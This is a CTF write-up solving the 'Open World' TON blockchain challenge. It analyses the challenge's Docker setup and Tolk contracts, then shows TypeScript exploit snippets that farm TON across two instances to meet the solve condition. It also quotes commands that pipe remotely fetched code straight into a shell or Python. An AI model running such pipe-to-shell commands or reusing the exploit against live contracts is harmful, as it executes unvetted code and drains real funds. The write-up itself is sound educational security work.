28 minutes
SekaiCTF 2026 - Blockchain Writeups (Part 3): Open World
Introduction
This post continues my SekaiCTF 2026 writeup series with the third and final blockchain challenge I solved during the competition, titled Open World. Unlike the previous two challenges, which were built around Ethereum smart contracts, this challenge was based on The Open Network (TON), making it a completely new experience for me.
To be completely honest, before this competition I had never worked with TON and had barely even heard about it. Up to this point, nearly all of my blockchain experience had revolved around Ethereum and the EVM ecosystem, so being presented with an entirely different architecture, programming language and development workflow was initially quite intimidating. Before even thinking about exploiting the challenge, I first had to understand the fundamentals of how TON operates, how smart contracts communicate and how transactions are processed.
Although this initially felt like a disadvantage, it ultimately became one of my favorite challenges of the event. It provided an excellent opportunity to step outside the familiar Ethereum ecosystem, learn a completely different blockchain platform and gain a broader understanding of smart contract security beyond the EVM.
A Brief Introduction to TON
For readers who are unfamiliar with TON, a short introduction may be useful before diving into the challenge itself.
The Open Network (TON) is a decentralized Layer-1 blockchain originally designed by the team behind Telegram and now developed by the open-source community. Unlike Ethereum, which executes smart contracts inside the Ethereum Virtual Machine (EVM), TON follows an asynchronous message-passing model where smart contracts communicate by exchanging internal and external messages. Rather than directly invoking functions on another contract, contracts send messages that are processed independently by the network.
TON also introduces several concepts that may initially seem unusual to developers coming from Ethereum. Every smart contract owns its own persistent storage, balance and executable code, while wallet contracts are themselves smart contracts rather than externally owned accounts. Transactions are represented as chains of messages exchanged between contracts and because execution is asynchronous, a single user action may trigger multiple independent transactions before the entire operation completes.
Smart contracts on TON are commonly written in FunC, Tact or Tolk, while interaction with deployed contracts typically occurs through SDKs such as ton-core or tonweb. Although the overall goal remains the same as in Ethereum—executing deterministic smart contract logic—the development model and execution semantics differ significantly.
Fortunately, understanding every aspect of TON is not necessary to solve this challenge. Nevertheless, having a basic understanding of its architecture makes the exploitation process considerably easier to follow and helps explain some of the design decisions encountered throughout the challenge.
Challenge Overview
The challenge was named Open World and included the following description:
Jump into the TON =ω=

As with the previous blockchain challenges, a compressed .tar.gz archive was provided containing the complete challenge source code together with the deployment scripts and all supporting files required to understand the application. Since this was my first exposure to TON, I initially spent some time exploring the project structure and familiarizing myself with the development environment before attempting to identify any potential vulnerabilities.
The project consists of several TypeScript source files implementing the challenge logic, wallet interactions and smart contract wrappers, along with the TON smart contract itself. Rather than immediately searching for an exploitable bug, I first focused on understanding how the different components interacted, how jettons (TON tokens) were managed and how users were expected to interact with the application. As is often the case in blockchain challenges, understanding the intended workflow proved just as important as identifying the vulnerability itself.
Analyzing the Challenge Files
After extracting the provided archive, we are presented with the following project structure:
.
├── contracts/
├── docker/
├── sandbox/
├── Acton.toml
├── compose.yml
├── Dockerfile
├── package.json
├── package-lock.json
└── tsconfig.json
Compared to the previous blockchain challenges, the project is considerably larger and contains much more than a single smart contract. Besides the contract implementation itself, the archive includes a complete local TON environment, Docker configuration, TypeScript source code and a sandbox used for testing and deployment.
Since I had never worked with TON before, I decided to first familiarize myself with the project structure before diving into the smart contract. Understanding how the different components fit together proved extremely helpful later when analyzing the application’s behavior.
Docker Environment
The first file I inspected was the provided Dockerfile:
FROM node:lts-slim
WORKDIR /app
RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
COPY package.json package-lock.json ./
RUN curl -LsSf https://github.com/ton-blockchain/acton/releases/latest/download/acton-installer.sh | sh
ENV PATH="/root/.acton/bin:${PATH}"
RUN acton up 1.0.0
COPY . .
RUN npm install
RUN npm run build
RUN npm run wrappers-ts
EXPOSE 1337
EXPOSE 3000
CMD ["npm", "run", "server"]
The image is based on the official Node.js runtime and installs the Acton toolkit, which provides a convenient development environment for TON smart contracts. After copying the project files, the Docker image installs the required Node.js dependencies, compiles the TypeScript sources and automatically generates the contract wrappers used by the client application.
RUN acton up 1.0.0
RUN npm install
RUN npm run build
RUN npm run wrappers-ts
From these commands we can already infer that the challenge consists of two major components: the smart contract itself and a TypeScript application responsible for interacting with it. Unlike Ethereum challenges, where interaction is often limited to directly invoking contract functions through JSON-RPC, TON applications typically rely on generated wrappers that serialize messages into cells before sending them to the blockchain.
Docker Compose
The accompanying compose.yml file provides a clearer picture of the complete challenge architecture.
services:
genesis:
build:
context: .
dockerfile: docker/mylocalton-genesis.Dockerfile
args:
MLT_IMAGE: ${MLT_IMAGE:-ghcr.io/neodix42/mylocalton-docker}
TON_BRANCH: ${TON_BRANCH:-latest}
image: ${LOCAL_MLT_IMAGE:-open-world-localton}:${TON_BRANCH:-latest}
entrypoint: /scripts/update-wallet.sh
restart: unless-stopped
environment:
- GENESIS=true
- NAME=genesis
- HIDE_PRIVATE_KEYS=true
- REGENERATE_WALLETS=true
- SIMPLE_FAUCET_INITIAL_BALANCE=0
- HIGHLOAD_FAUCET_INITIAL_BALANCE=0
- DATA_FAUCET_INITIAL_BALANCE=0
- VALIDATOR_0_INITIAL_BALANCE=0
- VALIDATOR_1_INITIAL_BALANCE=0
- VALIDATOR_2_INITIAL_BALANCE=0
- VALIDATOR_3_INITIAL_BALANCE=0
- VALIDATOR_4_INITIAL_BALANCE=0
- VALIDATOR_5_INITIAL_BALANCE=0
- VERSION_CAPABILITIES=14
volumes:
- ton-shared:/usr/share/data
- ton-db:/var/ton-work/db
networks:
- ton-internal
healthcheck:
test: /usr/local/bin/lite-client -a 127.0.0.1:40004 -p /var/ton-work/db/liteserver.pub -t 3 -c last
interval: ${HEALTHCHECK_INTERVAL:-15s}
timeout: 5s
retries: 20
tonhttpapi:
image: ${TONHTTPAPI_IMAGE:-toncenter/ton-http-api-cpp:v2.1.13}
restart: unless-stopped
depends_on:
genesis:
condition: service_healthy
environment:
- THACPP_TONLIB_CONFIG_PATH=/usr/share/data/global.config.json
- THACPP_TONLIB_KEYSTORE_PATH=/tmp/keystore/
- THACPP_TONLIB_BOC_ENDPOINTS=[]
- THACPP_FS_WORKER_THREADS=1
- THACPP_HTTP_WORKER_THREADS=2
- THACPP_LOG_LEVEL=warning
- THACPP_LOG_PATH=@stdout
- THACPP_SYSTEM_LOG_LEVEL=error
- THACPP_SYSTEM_LOG_PATH=/logs/userver-logs.txt
- THACPP_JSONRPC_LOG_LEVEL=error
- THACPP_JSONRPC_LOG_PATH=/logs/jsonrpc-logs.txt
- THACPP_HTTP_WORKER_USER_AGENT=empty
- THACPP_STATIC_CONTENT_DIR=/static
- THACPP_MAX_STACK_ENTRY_DEPTH=256
volumes:
- ton-shared:/usr/share/data:ro
networks:
- ton-internal
file-server:
image: ${FILE_SERVER_IMAGE:-python:bullseye}
restart: unless-stopped
depends_on:
- genesis
command: python3 -m http.server 8000 -d /usr/share/data
volumes:
- ton-shared:/usr/share/data:ro
networks:
- ton-internal
ton-challenge:
build: .
restart: unless-stopped
depends_on:
- genesis
- tonhttpapi
- file-server
ports:
- "1337:1337"
- "3000:3000"
volumes:
- ton-shared:/ton-shared:ro
environment:
- FLAG=${FLAG:-SEKAI{flag}}
- PUBLIC_BASE_URL=${PUBLIC_BASE_URL:-http://127.0.0.1:3000}
- SHARED_DATA_DIR=/ton-shared
- MAIN_WALLET_PK_PATH=/ton-shared/main-wallet.pk
- INTERNAL_TON_API_V2_BASE_URL=http://tonhttpapi:8081/api/v2
- INTERNAL_CONFIG_BASE_URL=http://file-server:8000
- MAIN_WALLET_WORKCHAIN=-1
- MAIN_WALLET_WALLET_ID=42
- CHALLENGE_DEPLOY_VALUE=${CHALLENGE_DEPLOY_VALUE:-202}
- PLAYER_INITIAL_BALANCE=${PLAYER_INITIAL_BALANCE:-1}
- CHAIN_WAIT_TIMEOUT_MS=${CHAIN_WAIT_TIMEOUT_MS:-60000}
- CHAIN_POLL_INTERVAL_MS=${CHAIN_POLL_INTERVAL_MS:-1500}
- INSTANCE_TTL_MS=${INSTANCE_TTL_MS:-600000}
- SESSION_SWEEP_INTERVAL_MS=${SESSION_SWEEP_INTERVAL_MS:-30000}
- NC_PORT=${NC_PORT:-1337}
- POW_DIFFICULTY=${POW_DIFFICULTY:-3}
networks:
- ton-internal
volumes:
ton-shared:
ton-db:
networks:
ton-internal:
Instead of deploying a single service, the challenge launches an entire local TON ecosystem consisting of four independent containers:
- genesis initializes a fresh local TON blockchain and creates the genesis state.
- tonhttpapi exposes the blockchain through an HTTP API, allowing client applications to communicate with the network.
- file-server serves the blockchain configuration files required by the TON clients.
- ton-challenge hosts the actual challenge application, exposing ports 1337 and 3000 for player interaction.
One particularly interesting observation is that the blockchain is created entirely from scratch inside Docker. Rather than interacting with the public TON network, each challenge instance deploys its own isolated blockchain together with a pre-funded wallet and the vulnerable smart contract. This guarantees that every participant receives an identical environment without interfering with other teams.
Although neither of these files reveals the vulnerability itself, they provide a good overview of how the challenge operates behind the scenes. More importantly, they indicate that most of the application logic is implemented in TypeScript, suggesting that the wrappers interacting with the smart contract will likely be just as important as the contract implementation itself.
With a basic understanding of the project’s architecture, we can now begin analyzing the smart contract and uncover how the application manages jettons and player interactions.
Understanding the Application
With a general understanding of the deployment environment, the next step is to inspect how the application itself is structured. Since this was my first experience with TON, I found it much easier to begin from the project configuration before diving into the smart contracts.
Project Configuration
The package.json file provides a good overview of the project’s build process and runtime dependencies:
{
"name": "challenge",
"version": "0.0.1",
"scripts": {
"build": "acton build",
"wrappers-ts": "acton wrapper --all --ts",
"server": "ts-node sandbox/launcher.ts"
},
"dependencies": {
"@ton/core": "~0"
},
"devDependencies": {
"@ton/crypto": "^3.3.0",
"@ton/ton": ">=16.2.2 <17.0.0",
"@types/body-parser": "^1.19.6",
"@types/express": "^5.0.6",
"@types/node": "^22.17.2",
"body-parser": "^2.2.2",
"express": "^5.2.1",
"prettier": "^3.6.2",
"ts-node": "^10.9.2",
"typescript": "^5.9.2"
}
}
The project relies on the official TON TypeScript libraries, most notably @ton/core, @ton/crypto and @ton/ton, which are used for constructing messages, interacting with wallets and communicating with the blockchain:
"dependencies": {
"@ton/core": "~0"
},
"devDependencies": {
"@ton/crypto": "^3.3.0",
"@ton/ton": ">=16.2.2 <17.0.0"
}
The available npm scripts also reveal the intended development workflow:
"scripts": {
"build": "acton build",
"wrappers-ts": "acton wrapper --all --ts",
"server": "ts-node sandbox/launcher.ts"
}
The build script compiles the Tolk smart contracts, while wrappers-ts automatically generates TypeScript wrappers that simplify interaction with the deployed contracts. Finally, the server script launches the local challenge instance by executing sandbox/launcher.ts, which serves as the application’s entry point.
Although this configuration does not expose the vulnerability itself, it confirms that the challenge consists of two closely connected components: the TON smart contracts and a TypeScript application responsible for interacting with them.
Challenge Server
The server script defined in package.json executes sandbox/launcher.ts, which is responsible for starting the challenge service.
import express, {Request, Response as ExpressResponse} from 'express';
import bodyParser from 'body-parser';
import {
proxyLocalchainRequest,
SessionLifecycleError,
startLocalchainSessionReaper,
} from './localchain';
import { startNcServer } from './server';
const FLAG = process.env.FLAG || 'ctf{test-flag}';
const PORT = Number(process.env.PORT || '3000');
const NC_PORT = Number(process.env.NC_PORT || '1337');
const app = express();
function extractProxyBody(req: Request): string | ArrayBuffer | undefined {
if (req.method === 'GET' || req.method === 'HEAD') {
return undefined;
}
if (Buffer.isBuffer(req.body)) {
if (req.body.length === 0) {
return undefined;
}
const copy = new Uint8Array(req.body.byteLength);
copy.set(req.body);
return copy.buffer;
}
if (typeof req.body === 'string') {
return req.body.length > 0 ? req.body : undefined;
}
if (req.body && typeof req.body === 'object') {
return JSON.stringify(req.body);
}
return undefined;
}
async function pipeProxyResponse(res: ExpressResponse, upstream: globalThis.Response) {
res.status(upstream.status);
const contentType = upstream.headers.get('content-type');
if (contentType) {
res.setHeader('content-type', contentType);
}
const cacheControl = upstream.headers.get('cache-control');
if (cacheControl) {
res.setHeader('cache-control', cacheControl);
}
res.send(Buffer.from(await upstream.arrayBuffer()));
}
async function handleSessionApiV2Proxy(req: Request, res: ExpressResponse) {
try {
const upstream = await proxyLocalchainRequest(req.params.uuid, 'api-v2', req.url, {
method: req.method,
headers: {
'content-type': req.get('content-type') || 'application/json',
},
body: extractProxyBody(req),
});
await pipeProxyResponse(res, upstream);
} catch (error) {
respondWithError(res, error, 'proxy request failed');
}
}
app.use('/instance/:uuid/api/v2', bodyParser.raw({ type: '*/*', limit: '10mb' }), handleSessionApiV2Proxy);
app.use(bodyParser.json());
function respondWithError(res: ExpressResponse, error: unknown, fallbackMessage: string) {
if (error instanceof SessionLifecycleError) {
res.status(error.statusCode).json({ success: false, error: error.message });
return;
}
res.status(500).json({ success: false, error: fallbackMessage });
}
startLocalchainSessionReaper();
startNcServer({
port: NC_PORT,
flag: FLAG,
});
app.listen(PORT, () => {
console.log(`HTTP server listening on port ${PORT}`);
});
The file defines a small Express application and exposes an HTTP proxy endpoint for each launched localchain session:
app.use(
'/instance/:uuid/api/v2',
bodyParser.raw({ type: '*/*', limit: '10mb' }),
handleSessionApiV2Proxy
);
This endpoint forwards player requests to the corresponding local TON blockchain instance. In practice, when the challenge platform launches an instance, the player receives a UUID together with an API endpoint that can be used as the RPC target for interacting with the deployed contract.
The same file also starts the netcat service used by the challenge platform:
startNcServer({
port: NC_PORT,
flag: FLAG,
});
This service is responsible for creating new challenge sessions and later checking whether the challenge has been solved. Therefore, launcher.ts does not implement the vulnerability itself, but it helps explain the overall interaction flow:
Player
│
├── connects to netcat service
│
├── receives challenge address, seed and API endpoint
│
└── sends TON transactions through /instance/:uuid/api/v2
After understanding how the challenge server exposes the localchain instance, we can move on to the smart contracts themselves and analyze the logic that determines whether the player can solve the challenge.
Analyzing the Smart Contracts
The contracts directory contains the source code implementing the TON application:
contracts/
├── Challenge.tolk
├── errors.tolk
├── fees-management.tolk
├── jetton-utils.tolk
├── JettonMinter.tolk
├── JettonWallet.tolk
├── messages.tolk
└── storage.tolk
Unlike the Solidity challenges discussed in the previous posts, the logic here is split across several Tolk modules. Some files implement the actual challenge logic, while others provide supporting functionality for jettons, message definitions, storage handling and error codes. A brief overview of the purpose of each file is given below:
| File | Purpose |
|---|---|
Challenge.tolk |
Implements the core challenge logic, including player bonuses, buying, selling and the solve condition. |
JettonMinter.tolk |
Implements the jetton minter responsible for minting jettons and deriving wallet addresses. |
JettonWallet.tolk |
Implements the jetton wallet logic, including transfers, burns and balance tracking. |
messages.tolk |
Defines the message structures and operation codes exchanged between contracts. |
storage.tolk |
Defines the persistent storage structures for the challenge, minter and wallet contracts. |
jetton-utils.tolk |
Provides helper functions for calculating deterministic jetton wallet addresses. |
fees-management.tolk |
Defines constants related to storage requirements and gas costs. |
errors.tolk |
Defines error codes used throughout the contracts. |
Most of these files implement standard jetton-related functionality or provide supporting definitions. For example, JettonMinter.tolk and JettonWallet.tolk behave similarly to a token minter and token wallet implementation, while messages.tolk and storage.tolk define the data structures used by the application.
The most important file for the challenge is Challenge.tolk. This file contains the application-specific logic that players interact with directly. It defines how the challenge is initialized, how players receive bonus jettons, how they can buy or sell tokens and, most importantly, how the challenge determines whether it has been solved.
For this reason, the analysis can initially focus on Challenge.tolk. The remaining files are still useful for understanding how jetton transfers work, but the actual vulnerability becomes visible only after understanding the logic implemented in the main challenge contract.
Challenge.tolk
The main contract of the challenge is implemented in Challenge.tolk. This file defines the messages that the contract accepts and implements the logic for setting up the jetton minter, distributing bonus tokens, buying and selling jettons and checking whether the challenge has been solved:
import "@gen/JettonMinter.code.tolk"
import "@gen/JettonWallet.code.tolk"
import "@contracts/storage"
import "@contracts/messages"
import "@contracts/errors"
contract Challenge {
storage: ChallengeStorage
incomingMessages: AllowedMessageToChallenge
}
type AllowedMessageToChallenge =
| SetupChallenge
| PlayerBonus
| Buy
| TransferNotificationForRecipient
| ResponseWalletAddress
type ChallengeForwardPayload =
| Sell
| Solve
const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100
const BUY_MINT_TON_AMOUNT: coins = ton("0.12")
The constants are especially important for understanding the objective. Each jetton is priced at 2 TON, while solving the challenge requires sending at least 100 jettons back to the challenge contract:
const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100
This means that, under normal circumstances, purchasing enough jettons to solve the challenge would require more TON than the player initially receives. Therefore, the challenge is not simply about interacting with the contract as intended, but about finding a way to bypass the economic restrictions imposed by the application.
Challenge Initialization
The first message handled by the contract is SetupChallenge. This message initializes the challenge by deploying a jetton minter and requesting the jetton wallet address owned by the challenge contract itself.
SetupChallenge => {
var storage = lazy ChallengeStorage.load();
assert (storage.minter == null) throw Errors.CHALLENGE_INITIALIZED;
val minterInit = ContractState {
code: jettonMinterCompiledCode(),
data: MinterStorage {
totalSupply: 0,
adminAddress: contract.getAddress(),
content: createEmptyCell(),
jettonWalletCode: jettonWalletCompiledCode()
}.toCell()
};
storage.minter = AutoDeployAddress { stateInit: minterInit }.calculateAddress();
storage.save();
val deployMsg = createMessage({
bounce: false,
dest: { stateInit: minterInit},
value: ton("0.5")
});
deployMsg.send(SEND_MODE_REGULAR);
val requestWalletMsg = createMessage({
bounce: false,
dest: storage.minter,
value: ton("0.1"),
body: RequestWalletAddress {
queryId: 0,
ownerAddress: contract.getAddress(),
includeOwnerAddress: false
}
});
requestWalletMsg.send(SEND_MODE_REGULAR);
}
The important detail here is that the challenge contract becomes the admin of the jetton minter. As a result, only the challenge contract is allowed to mint new jettons. This prevents players from directly minting arbitrary tokens through the minter and forces them to interact with the application logic exposed by Challenge.tolk.
After deploying the minter, the contract requests its own jetton wallet address. This address is later stored in storage.wallet when the minter responds with a ResponseWalletAddress message:
ResponseWalletAddress => {
var storage = lazy ChallengeStorage.load();
assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
assert (in.senderAddress == storage.minter) throw Errors.INVALID_CALLER;
storage.wallet = msg.jettonWalletAddress;
storage.save();
}
This wallet is important because the challenge expects players to send jettons to the challenge contract’s jetton wallet. When that happens, the wallet sends a transfer notification back to the challenge contract, allowing it to distinguish between a Sell request and a Solve request.
Player Bonus
The next relevant message is PlayerBonus, which gives the player a limited number of free jettons:
PlayerBonus => {
var storage = lazy ChallengeStorage.load();
assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
val hasBonus = storage.remainingPlayerBonus != 0;
storage.remainingPlayerBonus -= 1;
storage.save();
if (hasBonus) {
val mintMsg = createMessage({
bounce: false,
dest: storage.minter!,
value: 0,
body: MintNewJettons {
queryId: 0,
mintRecipient: in.senderAddress,
tonAmount: ton("0.1"),
internalTransferMsg: InternalTransferStep {
queryId: 0,
jettonAmount: FLAG_PRICE / 2,
transferInitiator: null,
sendExcessesTo: null,
forwardTonAmount: 0,
forwardPayload: createEmptySlice()
}.toCell()
}
});
mintMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
}
}
The value minted through this function is:
jettonAmount: FLAG_PRICE / 2
Since FLAG_PRICE is equal to 100, the bonus grants only 50 jettons. This is exactly half of the amount required to solve the challenge. At first, this appears to suggest that the player may be able to claim the bonus twice. However, in practice, only one useful bonus can be obtained for the player wallet. Therefore, the player starts with 50 jettons, while the solve condition requires 100 jettons.
This creates the central problem of the challenge:
Available through bonus: 50 jettons
Required to solve: 100 jettons
The rest of the challenge revolves around finding a way to obtain the missing 50 jettons despite the limited initial TON balance.
Buying Jettons
Apart from the bonus mechanism, the challenge also allows players to buy additional jettons by sending TON to the challenge contract. This is handled by the Buy message:
Buy => {
val storage = lazy ChallengeStorage.load();
assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
assert (
in.valueCoins > msg.amount * TOKEN_PRICE + BUY_MINT_TON_AMOUNT
) throw Errors.INSUFFICIENT_FUNDS;
val mintMsg = createMessage({
bounce: false,
dest: storage.minter!,
value: BUY_MINT_TON_AMOUNT,
body: MintNewJettons {
queryId: 0,
mintRecipient: in.senderAddress,
tonAmount: ton("0.1"),
internalTransferMsg: InternalTransferStep {
queryId: 0,
jettonAmount: msg.amount,
transferInitiator: null,
sendExcessesTo: null,
forwardTonAmount: 0,
forwardPayload: createEmptySlice(),
}.toCell(),
},
});
mintMsg.send(SEND_MODE_REGULAR);
reserveToncoinsOnBalance(msg.amount * TOKEN_PRICE, RESERVE_MODE_INCREASE_BY_ORIGINAL_BALANCE);
val refundMsg = createMessage({
bounce: false,
dest: in.senderAddress,
value: 0,
body: ReturnExcessesBack { queryId: 0 },
});
refundMsg.send(SEND_MODE_CARRY_ALL_BALANCE);
}
The contract checks that the player sent enough TON to cover the requested amount of jettons. Since each jetton costs 2 TON, buying the missing 50 jettons would require slightly more than 100 TON:
50 jettons * 2 TON = 100 TON
This is far more than the initial balance given to the player, which means that simply buying the missing tokens is not possible at the beginning of the challenge.
Selling Jettons
The contract also supports selling jettons back to the challenge. This functionality is not exposed as a direct message to the challenge contract. Instead, the player transfers jettons to the challenge wallet and includes a forward payload indicating that the transfer should be treated as a Sell operation:
TransferNotificationForRecipient => {
var storage = lazy ChallengeStorage.load();
assert (storage.wallet != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
assert (in.senderAddress == storage.wallet) throw Errors.INVALID_CALLER;
val payload = lazy ChallengeForwardPayload.fromSlice(msg.forwardPayload);
match (payload) {
Sell => {
if (msg.transferInitiator != null && msg.jettonAmount > 0) {
val payoutMsg = createMessage({
bounce: false,
dest: msg.transferInitiator!,
value: msg.jettonAmount * TOKEN_PRICE,
body: Payout {}
});
payoutMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
}
}
When the payload is Sell, the contract sends TON back to the original transfer initiator. The payout is calculated using the same price as the buy function:
value: msg.jettonAmount * TOKEN_PRICE
Therefore, selling 50 jettons should pay approximately 100 TON:
50 jettons * 2 TON = 100 TON
This is the first important observation. The player cannot initially buy 50 additional jettons, but the player can claim 50 free jettons and sell them back to the challenge for approximately 100 TON.
At this point, the challenge begins to look like a small economic puzzle. The player starts with too little TON to buy the required amount of jettons, but the free bonus tokens can be converted into TON through the selling mechanism. This allows the player to transform the initial bonus into enough TON to perform additional actions.
Solve Condition
The final piece of the challenge logic is the Solve payload:
Solve => {
if (msg.transferInitiator != null && storage.player == msg.transferInitiator!) {
if (msg.jettonAmount >= FLAG_PRICE) {
storage.isSolved = true;
storage.save();
}
}
}
To solve the challenge, the player must transfer at least 100 jettons to the challenge wallet with the Solve payload. The contract also verifies that the transfer initiator is the registered player.
This gives us the exact target: Transfer at least 100 jettons from the player wallet to the challenge jetton wallet with the Solve payload.
The getter function simply returns the stored boolean value:
get fun isSolved(): bool {
val storage = lazy ChallengeStorage.load();
return storage.isSolved;
}
Therefore, our goal is not to drain the TON balance of the contract directly. Instead, we need to manipulate the economic flow of the application in order to obtain enough jettons and trigger the Solve branch.
Identifying the Vulnerability
At this point, the challenge seems like a straightforward economic puzzle. The player receives 50 free jettons, but the contract requires 100 jettons to solve. Buying the missing 50 jettons costs a little more than 100 TON, while the player starts with only 1 TON.
The first natural idea is to claim the bonus and sell it back to the challenge contract. Since each jetton is priced at 2 TON, selling 50 jettons gives approximately 100 TON back to the player. This seems promising because it gives us enough TON to buy the missing 50 jettons. However, there is a problem. After selling the original 50 jettons, the player has 0 jettons. Buying 50 jettons simply brings the player back to 50 jettons, not the required 100. In other words, within a single instance, the flow looks like this:
Claim bonus: 50 jettons
Sell bonus: 0 jettons + ~100 TON
Buy 50 jettons: 50 jettons
This is still not enough to trigger the Solve branch. The player needs another source of TON or jettons. The important realization came from the way the challenge instances were created. Each instance provided a separate challenge contract, player wallet and seed, but all instances were reachable through the same local TON environment exposed by the challenge infrastructure. This meant that assets could be moved between wallets belonging to different launched instances.
This changes the problem completely. Instead of trying to solve the challenge using only one instance, we can launch two instances:
Target instance:
The instance we want to solve.
Farm instance:
A second instance used only to farm TON.
The farm instance is used to claim the free 50 jettons and sell them for approximately 100 TON. Then, the obtained TON is transferred to the wallet of the target instance. The target wallet already owns 50 bonus jettons, so it can use the farmed TON to buy the missing 50 jettons and reach the required amount. The final strategy is therefore:
Target instance:
Claim 50 bonus jettons.
Farm instance:
Claim 50 bonus jettons.
Sell 50 jettons for ~100 TON.
Transfer the farmed TON to the target wallet.
Target instance:
Buy 50 more jettons.
Transfer 100 jettons with the Solve payload.
This was the core vulnerability of the challenge. The contract logic assumes that each instance is economically isolated, but in practice the localchain allowed value to be transferred between wallets from different instances. By using one instance as a funding source for another, we bypass the intended resource limitation and obtain enough jettons to solve the target challenge.
Exploiting the Vulnerability
To exploit this behavior, two challenge instances were launched through the netcat interface. Each instance required solving a proof of work before returning the relevant connection information:
$ ncat --ssl open-world-7a1d2f8075a8.instancer.sekai.team 1337
1. new - launch new instance
2. flag - get the flag (if isSolved() is true)
3. kill - kill an instance
action? 1
== PoW ==
sha256("a0ff895edf3733d5" + YOUR_INPUT) must start with 3 bytes zeros
please run the following command to solve it:
python3 <(curl -sSL https://gist.githubusercontent.com/YanhuiJessica/41872792ad6e97c9ddb186a5be6fd612/raw) a0ff895edf3733d5 3
YOUR_INPUT = 58315612
correct
== END POW ==
the instance will automatically terminate in 10 minutes
here's some useful information
uuid: 954d9377-a4c2-4b30-88ab-15f2df664583
challenge contract: EQDpixmTybaOIGzGP_vnXbToUNFVpZUQ5JrAETzFn5Zdom
api v2: https://open-world-api-7a1d2f8075a8.instancer.sekai.team/instance/954d9377-a4c2-4b30-88ab-15f2df664583/api/v2
your wallet version: v3r2
your wallet id: 281273234
seed: e867afc5e2d747ed6e70854909cd6f1dd5a7bc8c2d8b8604ce9c689865fa85a8
This first instance was used as the target instance, meaning that this is the UUID that would later be submitted to the challenge platform to retrieve the flag.
A second instance was then launched and used only for farming TON:
$ ncat --ssl open-world-7a1d2f8075a8.instancer.sekai.team 1337
1. new - launch new instance
2. flag - get the flag (if isSolved() is true)
3. kill - kill an instance
action? 1
== PoW ==
sha256("f7626da41526329b" + YOUR_INPUT) must start with 3 bytes zeros
please run the following command to solve it:
python3 <(curl -sSL https://gist.githubusercontent.com/YanhuiJessica/41872792ad6e97c9ddb186a5be6fd612/raw) f7626da41526329b 3
YOUR_INPUT = 41316538
correct
== END POW ==
the instance will automatically terminate in 10 minutes
here's some useful information
uuid: a899663b-96ba-4dc3-b238-c4dda45023ab
challenge contract: EQBmGoPldlLiObPShD2ljYVJ2v_yBJ0-a8FNExj9UURs8Qvx
api v2: https://open-world-api-7a1d2f8075a8.instancer.sekai.team/instance/a899663b-96ba-4dc3-b238-c4dda45023ab/api/v2
your wallet version: v3r2
your wallet id: 965981423
seed: 018bc31e3269683a833d86935644b7de9eb3015e5f9533e32e468ecb169c3ce0
With both instances available, the exploit script reconstructs the corresponding wallet contracts from their seeds and wallet IDs. The target wallet is used to solve the challenge, while the farm wallet is used to generate the additional TON required by the target instance.
The script first obtains the jetton minter of each challenge and then calculates the corresponding jetton wallet address for each player wallet:
const targetMinter = await getMinter(client, targetChallenge);
const farmMinter = await getMinter(client, farmChallenge);
const targetJettonWallet = await getJettonWallet(
client,
targetMinter,
target.wallet.address
);
const farmJettonWallet = await getJettonWallet(
client,
farmMinter,
farm.wallet.address
);
After that, both wallets claim their free bonus jettons:
console.log("[+] Claiming target bonus...");
await claimBonus(client, targetChallenge, target.wallet, target.keyPair.secretKey);
await waitForJettons(client, targetJettonWallet, 50n);
console.log("[+] Claiming farm bonus...");
await claimBonus(client, farmChallenge, farm.wallet, farm.keyPair.secretKey);
await waitForJettons(client, farmJettonWallet, 50n);
The farm wallet then sells its 50 jettons by transferring them to the farm challenge wallet with the Sell payload:
const sellBody = beginCell()
.storeUint(OP_ASK_TO_TRANSFER, 32)
.storeUint(0, 64)
.storeCoins(50n)
.storeAddress(farmChallenge)
.storeAddress(farm.wallet.address)
.storeMaybeRef(null)
.storeCoins(toNano("0.05"))
.storeUint(OP_SELL, 32)
.endCell();
console.log("[+] Selling farm 50 jettons...");
await sendInternal(client, farm.wallet, farm.keyPair.secretKey, farmJettonWallet, toNano("0.25"), sellBody);
await waitForTonAbove(client, farm.wallet.address, toNano("100"));
);
Once the farm wallet receives the payout, the script transfers 100 TON from the farm wallet to the target wallet:
await sendInternal(
client,
farm.wallet,
farm.keyPair.secretKey,
target.wallet.address,
toNano("100"),
beginCell().endCell()
);
At this point, the target wallet owns 50 jettons and now also has enough TON to purchase the missing 50 jettons:
const buyBody = beginCell()
.storeUint(OP_BUY, 32)
.storeCoins(50n)
.endCell();
console.log("[+] Target buying 50 more jettons...");
await sendInternal(client, target.wallet, target.keyPair.secretKey, targetChallenge, toNano("100.25"), buyBody);
await waitForJettons(client, targetJettonWallet, 100n);
Finally, the target wallet transfers 100 jettons to the target challenge wallet with the Solve payload:
const solveBody = beginCell()
.storeUint(OP_ASK_TO_TRANSFER, 32)
.storeUint(0, 64)
.storeCoins(100n)
.storeAddress(targetChallenge)
.storeAddress(target.wallet.address)
.storeMaybeRef(null)
.storeCoins(toNano("0.05"))
.storeUint(OP_SOLVE, 32)
.endCell();
console.log("[+] Sending Solve transfer...");
await sendInternal(client, target.wallet, target.keyPair.secretKey, targetJettonWallet, toNano("0.25"), solveBody);
The Solve branch checks that the transfer initiator is the registered player and that the transferred amount is at least 100 jettons. Since both conditions are satisfied, the challenge sets isSolved to true.
Getting the Flag
Before writing the exploit, I spent some time studying the official TON documentation, particularly the section describing the standard contracts. This proved invaluable for understanding how wallet contracts, jetton minters and jetton wallets interact with each other. Unlike Ethereum, where an externally owned account directly holds token balances, TON introduces an additional layer through wallet contracts, while each jetton holder owns a dedicated jetton wallet associated with the corresponding minter.
Putting everything together, the exploit follows the exact strategy described in the previous section. Two independent challenge instances are launched: one acts as the target instance, whose UUID will later be submitted to retrieve the flag, while the second acts as the farm instance, whose sole purpose is to generate additional TON.
The script first reconstructs the two player wallets from the seeds provided by the challenge, retrieves the corresponding jetton minters and derives the associated jetton wallet addresses. It then claims the free 50 jetton bonus on both instances.
